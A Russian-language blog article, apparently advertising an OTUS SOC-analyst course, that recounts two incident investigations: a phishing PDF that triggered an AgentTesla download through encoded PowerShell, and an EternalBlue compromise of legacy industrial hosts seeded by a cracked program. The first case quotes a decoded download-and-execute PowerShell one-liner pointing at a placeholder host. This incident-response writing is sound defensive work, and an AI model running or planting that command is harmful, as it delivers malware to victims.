Своевременное выявление инцидентов ИБ позволяет минимизировать возможный ущерб в случае реализации связанных с ними рисков. Security Operations Center (SOC) — это центр мониторинга информационной безопасности, структурное подразделение организации, отвечающее за оперативный мониторинг IT-среды и предотвращение киберинцидентов.
Специалисты SOC собирают и анализируют данные с различных объектов инфраструктуры организации и при обнаружении подозрительной активности принимают меры для предотвращения атаки и именно от них зависит, насколько быстро будет обнаружена та или иная атака.
В этой статье мы рассмотрим пару реальных случаев расследования инцидентов аналитиками SOC. Но для начала давайте разберемся с тем, как построено взаимодействие специалистов в Security Operations Center.
Существует три уровня аналитиков SOC (Security Operations Center) в зависимости от компетенций и выполняемых задач:
Аналитик первой линии (L1). Занимается первичным мониторингом поступающих уведомлений. В реальном времени отсеивает ложные срабатывания или события, выделяя те инциденты, которые требуют дальнейшего анализа и реагирования.
Аналитик второй линии (L2). Подключается, когда инцидент уже подтверждён аналитиком первой линии. Проводит более глубокое расследование: собирает и анализирует информацию, оценивает масштабы проблемы и разрабатывает план реагирования. Если инцидент оказывается сложным, то он либо запускает меры по устранению угрозы, либо передаёт его на следующий уровень.
Аналитик третьей линии (L3). Наиболее опытный эксперт в SOC. Разбирается со сложными и критичными атаками. Такие специалисты часто выполняют задачи threat hunting: проактивно выявляют признаки скрытых атак и компрометации, которые могли остаться незамечёнными стандартными средствами защиты. Они проводят глубокий анализ вредоносного ПО, собирают цифровые доказательства и по итогам расследований формулируют рекомендации по усилению безопасности.
Утренний троян
Эта история началась по классике в тихое утро понедельника, когда от аналитиков первой линии поступило сообщение, о несколько странном запуске процесса powershell. Оповещение пришло от нашего инструмента EDR. На первый взгляд, это был обычный сеанс работы в браузере. Но дерево процессов говорило об обратном:
Согласитесь, не совсем логичная цепочка запуска процессов: Браузер > PowerShell > curl > DLL > rundll32. Для данного пользователя это было совершенно не типичное поведение, так как до этого подобный запуск процессов никогда не выполнялся. Это было классическое злоупотребление LOLBAS (Living-Off-the-Land Binaries and Scripts), то есть использование легитимных бинарных файлов (в данном случае это браузер и powershell) и скриптов, которые злоумышленники могут применить для осуществления атак. Такой подход позволяет обойти системы обнаружения и блокировки, так как использование доверенных компонентов вызывает меньше подозрений.
Учитывая то, что все это было обнаружено на компьютере сотрудника финансового отдела, ситуация выглядела еще более подозрительной.
Из EDR были извлечены все аргументы командной строки PowerShell:
powershell.exe -EncodedCommand <Base64>
Раскодирование с помощью Cyberchef дало следующий результат:
[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("..."))
IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/payload')
То есть, все по классике – происходила загрузка скрипта с удаленного узла. Таким образом, стало понятно, что именно произошло. Для предотвращения развития атаки мы первым делом изолировали хост через EDR, отозвали токены сеансов пользователей и уведомили ИТ-отдел о необходимости сбросить все связанные с данным пользователем учетные данные.
Далее необходимо было разобраться с тем, как собственно вредоносный скрипт попал на компьютер пользователя. Побеседовав с пользователем и посмотрев его почтовый ящик мы выяснили, что перед инцидентом он открыл электронное письмо с темой: «Неоплаченный счёт — Требуется действие». К письму был приложен хорошо составленный PDF-файл. Анализ заголовков письма показал: недавно зарегистрированный домен, обход политики SPF (Sender Policy Framework), отсутствие DKIM-подписи.
Пользователь по традиции, открыл PDF-файл содержавший вредоносную ссылку. В результате запустился Edge с пользовательским URL-адресом, который вызывал полезную нагрузку.
Анализ хэша полезной нагрузки на VirusTotal привел к тому, что антивирусы выявили AgentTesla — похититель учётных данных и буфера обмена.
Затем запустили ретроспективный поиск по всем системам с помощью SIEM, в результате чего были выявлены попытки запуска подобных скриптов еще на паре машин, однако они были успешно заблокированы антивирусами.
Старое доброе легаси
Если первая история не была связана с уязвимостями в операционной системе или прикладном софте, то в следующей мы затронем столь актуальную тему. Итак, на предприятии промышленная сеть связана с корпоративно через общий сегмент DMZ в котором размещаются сервисы обновления антивирусной системы и файлообменник.
В промышленной сети большинство узлов имеют устаревшие операционные системы Windows 7 и Windows Server 2012. Это связано с теми ограничениями, которые накладывают SCADA вендоры на использование ОС. В случае, если версия операционки не поддерживается SCADA вендором, они автоматически отказывают в поддержке.
В тот день система SIEM создала алерт в котором процесс cmd.exe на одном из узлов был запущен с правами SYSTEM, что выглядело достаточно подозрительно. Анализ логов показал, что злоумышленник запустив командную строку, создал себе административную учетную запись для того, чтобы в дальнейшем работать уже под ней, однако, благодаря оперативному обнаружению подозрительной активности учетка была своевременно заблокирована.
При этом, в системе IDS используемой в промышленном сегменте было обнаружено срабатывание на сигнатуру MS 17-010, CVE-2017-0144 или знаменитый EthernalBlue. Теперь все стало на свои места. Уязвимость в ОС позволила получить шелл с права системы.
В качестве клиента, с которого собственно запускалась сигнатура выступал другой узел в промышленной сети, на котором был запущен специальный скрипт. Проанализировав логи фйалообменника мы выяснили, что этот скрипт попал в промышленную сеть вместе с … кряком, который один из инженеров скопировал для того, чтобы полечить иностранное ПО.
Также на файлообменнике был найден файл log.txt, который предположительно использовался для обмена данными между корпоративной и промышленной сетью. Предположительно, потому что его содержимое было зашифровано, но анализ SMB трафика показывал, что именно к нему велись обращения с обеих сторон.
В корпоративной сети анализ все тех же сетевых дампов привел как это не удивительно, к машине того инженера, который копировал кряк в промышленную сеть. На ней также была обнаружена данная вредоносная сигнатура, однако так как в корпоративной сети не было машин, содержащих MS 17-010, то он никак себя не проявил.
Анализ логов на машине инженера и беседа с ним показали, что он скачал кряк в сети с довольно сомнительного ресурса. Вполне возможно, речь шла о целенаправленной атаке именно на это предприятие.
Примечательно то, что VirusTotal проанализировав сигнатуру трояна ничего не обнаружил, что также косвенно подтверждает тот факт, что это была целенаправленная атака на инфраструктуру данного предприятия.
В качестве защитных мер мы оперативно заблокировали машину инженера. Также, файлы связанные с вредоносом были удалены с файлообменника в DMZ. На узлы в промышленной сети были установлены обновления, закрывающие Ethernal Blue.
Заключение
Мы рассмотрели пару историй, связанных с выявлением компрометации узлов как в корпоративных, так и в промышленных сетях. Какие выводы мы можем сделать?
Прежде всего важно понимать, что в инфраструктуре организации должен вестись аудит всех наиболее важных событий ИБ. Необходимо собирать данные как от средств защиты, так и от операционных систем, AD, приложений и других системных компонентов.
Анализ событий и выявление инцидентов должны быть максимально автоматизированы. Так, необходимо развернуть агентов EDR на всех узлах в сети. События должны пересылаться в SIEM как с серверов и рабочих станций, так и с сетевого оборудования и прикладного ПО.
Но, несмотря на все технические средства значительную роль в обнаружении инцидентов играют аналитики SOC. Так аналитики первого уровня должны быть достаточно внимательны к деталям, для того, чтобы с одной стороны не пропускать реальные инциденты, но с другой уметь самостоятельно выявлять ложные срабатывания. Аналитики второй и третьей линии должны иметь необходимый уровень компетенций и помимо этого быть не слишком перегружены для того, чтобы эффективно выполнять свои рабочие задачи.
Не стоит забывать и о правильном построении процессов работы с инцидентами в SOC. Необходимо иметь готовые карты реагирования для того, чтобы оперативно решать возникающие инциденты в зависимости от их уровня критичности.
Именно эффективное взаимодействие аналитиков, технических средств и процессов позволяет оперативно решать возникающие инциденты и предотвращать возникновение угроз.
Если подобные истории хочется разбирать не только из чужих кейсов, но и в тренажёре, обратите внимание на курс «Аналитик SOC» от OTUS. В нём практика работы с SIEM, логами и сетевой криминалистикой, отработка реагирования на инциденты, разбор NIST-подходов и оценка рисков в инфраструктуре и облачных средах.
Для знакомства с форматом обучения и экспертами приходите на бесплатный демо-урок «Threat Hunting» 18 декабря в 20:00. После занятия вы будете знать:
- Как самостоятельно искать угрозы в инфраструктуре организации;
- Какие инструменты использовать для обнаружения скрытых атак;
- Что такое IOC и как их применять в своей работе.